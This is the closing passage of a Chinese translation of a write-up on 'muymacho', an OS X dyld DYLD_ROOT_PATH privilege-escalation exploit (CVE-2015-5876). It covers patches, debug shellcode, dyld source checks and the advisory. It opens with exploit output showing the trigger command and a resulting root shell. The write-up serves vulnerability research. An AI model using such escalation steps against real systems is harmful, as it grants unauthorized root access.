LC_SEGMENT_64: segment 0x15    vm_addr: 0x7ffe59c1d000    LC_SEGMENT_64: segment 0x16    vm_addr: 0x7ffe58c1d000    LC_SEGMENT_64: segment 0x17    vm_addr: 0x7ffe57c1d000    LC_SEGMENT_64: segment 0x18    vm_addr: 0x7ffe56c1d000    LC_SEGMENT_64: segment 0x19    vm_addr: 0x7ffe55c1d000    LC_SEGMENT_64: segment 0x1a    vm_addr: 0x7ffe54c1d000    LC_SEGMENT_64: segment 0x1b    vm_addr: 0x7ffe53c1d000    LC_SEGMENT_64: segment 0x1c    vm_addr: 0x7ffe52c1d000    LC_SEGMENT_64: segment 0x1d    vm_addr: 0x7ffe51c1d000    LC_SEGMENT_64: segment 0x1e    vm_addr: 0x7ffe50c1d000    LC_SEGMENT_64: segment 0x1f    vm_addr: 0x7ffe4fc1d000
[+] building payload
[+] dyld_sim successfully created
To exploit enter:  DYLD_ROOT_PATH=/Users/user/tmp crontab
user@yosemite:~/tmp$ DYLD_ROOT_PATH=/Users/user/tmp crontab
bash-3.2#

0x0A 补丁

EI Capitan对dyld做了很多修改。特别是对dyld_siｍ文件验证更加严格，修补了muymacho使用的漏洞。几种不同的检查保证了连续的segment都拥有正常的fileoff和vmaddr值。

在本文写作时，苹果还没有发布EI Capitan的源代码。但是一些修改可以通过IDA pro来查看。

0x0B 总结

本节总结了本文的大部分内容。我们已经讨论漏洞的发现，问题分析，直到利用。完整的利用程序分享在github。

我希望本文能够对你有用。这是个有趣的bug，我非常享受编写muymacho的过程。

谢谢所有修订本文的人（Pete Markowsky, Ian Melven, Josha Bronson）。同时谢谢@i0n1c发布的挑战，是它导致本漏洞的发现。

调试shellcode

有时候我很好奇到底是哪一个segment在利用执行的过程中起到了作用，面对不同的ASLR地址。实际上，真实的地址也不是那么重要。但我还是加入了一段debug shellcode来将信息返回给用户。

debug shellcode通过“-d”参数来开启。在muymacho返回‘#’符号后，输入

echo "$MUYMACHO"

可以随意的看看muymacho的调试debug shellcode。调试信息是通过execve调用一个环境变量来传递的。

0x0C 附录

10.10.4及更早

Mac OS X 10.10.4和之前版本就已经添加了DYLD_ROOT_PATH变量。本节讨论一下这个老版本的变量和10.10.5的更新。OS X 10.10.4使用dyld-353.2.1里的dyld.cpp。

在早前的useSimulatorDyld()函数中，有一个检查dyld_sim是否被root所有拥有。

// verify simulator dyld file is owned by root
   struct stat sb;
   if ( fstat(fd, &sb) == -1 )
      return 0;
   if ( sb.st_uid != 0 )
      return 0;

通过对代码段的查看，发现代码签名的要求是可选的。所以唯一的要求就是一个被root用户拥有的，没有签名都行的dyld_sim文件，这当然不会形成阻碍。useSimulatorDyld()将会加载和执行这样的文件。

10.10.5更新

10.10.5更新修补了DYLD_PRINT_FILE漏洞（CVE-2015-3760）。可能由于这个变量漏洞被发现的原因，同时也对useSimulatorDyld()函数进行了修改。

dyld_sim不需要再被root拥有，但是代码签名变为了强制要求。下面是dyld.cpp的部分代码。

int result = fcntl(fd, F_ADDFILESIGS_FOR_DYLD_SIM, &siginfo);
   if ( result == -1 ) {
      dyld::log("fcntl(F_ADDFILESIGS_FOR_DYLD_SIM) failed with errno=%d\n", errno);
      return 0;
   }

一个新的fcntl命令被加入到10.10.5，针对dyld_sim。下面的代码来自/usr/include/sys/fcntl.h。

#define F_ADDFILESIGS_FOR_DYLD_SIM 83   /* Add signature from same file, only if it is signed by Apple (used by dyld for simulator) */

dyld_sim需要一个苹果的数字签名，仅仅一个开发者证书是不够的。（译者注：由于在数字签名之前就取得了控制权，所以不会进行验证就到shellcode了）

0x0D CVE号

关于本漏洞的CVE号是这样的，EI Capitan安全升级列表列出了以下bug信息。授予了beist：

Dev Tools

Available for: Mac OS X v10.6.8 and later

Impact: A malicious application may be able to execute arbitrary code with system privileges

Description: A memory corruption issue existed in dyld. This was addressed through improved memory handling.

CVE-ID

CVE-2015-5876: beist of grayhash

同样的CVE也被列入了iOS 9和watchOS 2的升级信息中。对iOS 8.4.1中的dyld进行了一个粗略的检查，没有发现和muymacho一样的漏洞。也许是我搞错了，如果有我会更新到本文。

	Article_kelp 因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由，你需要用s
N	Nas 师傅您好！_static_url_path那 flag在当前目录下通过原型链污
Z	zhangy 你好，为什么我也是用windows2016和win10，但是流量是smb3，加密
K	k0uaz foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取
	Yukong 🐮皮

muymacho---dyld_root_path漏洞利用解析

0x00 漏洞发现

0x01 漏洞

0x02 利用分析

0X03 ASLR绕过

0x04 内存区块和范围

0x05 潜在问题

需要多少的segments段？

mmap会失败返回吗？

会发生不可预料的内存问题吗？

0x06 实践

0x07 最大vmaddr

0x08 载荷Payload

0x09 完成利用

0x0A 补丁

0x0B 总结

调试shellcode

0x0C 附录

10.10.4及更早

10.10.5更新

0x0D CVE号

评论

J

请先登录

S

solocogo

随机分类

扫码关注公众号

最新评论

Article_kelp

N

Nas

Z

zhangy

K

k0uaz

Yukong

目录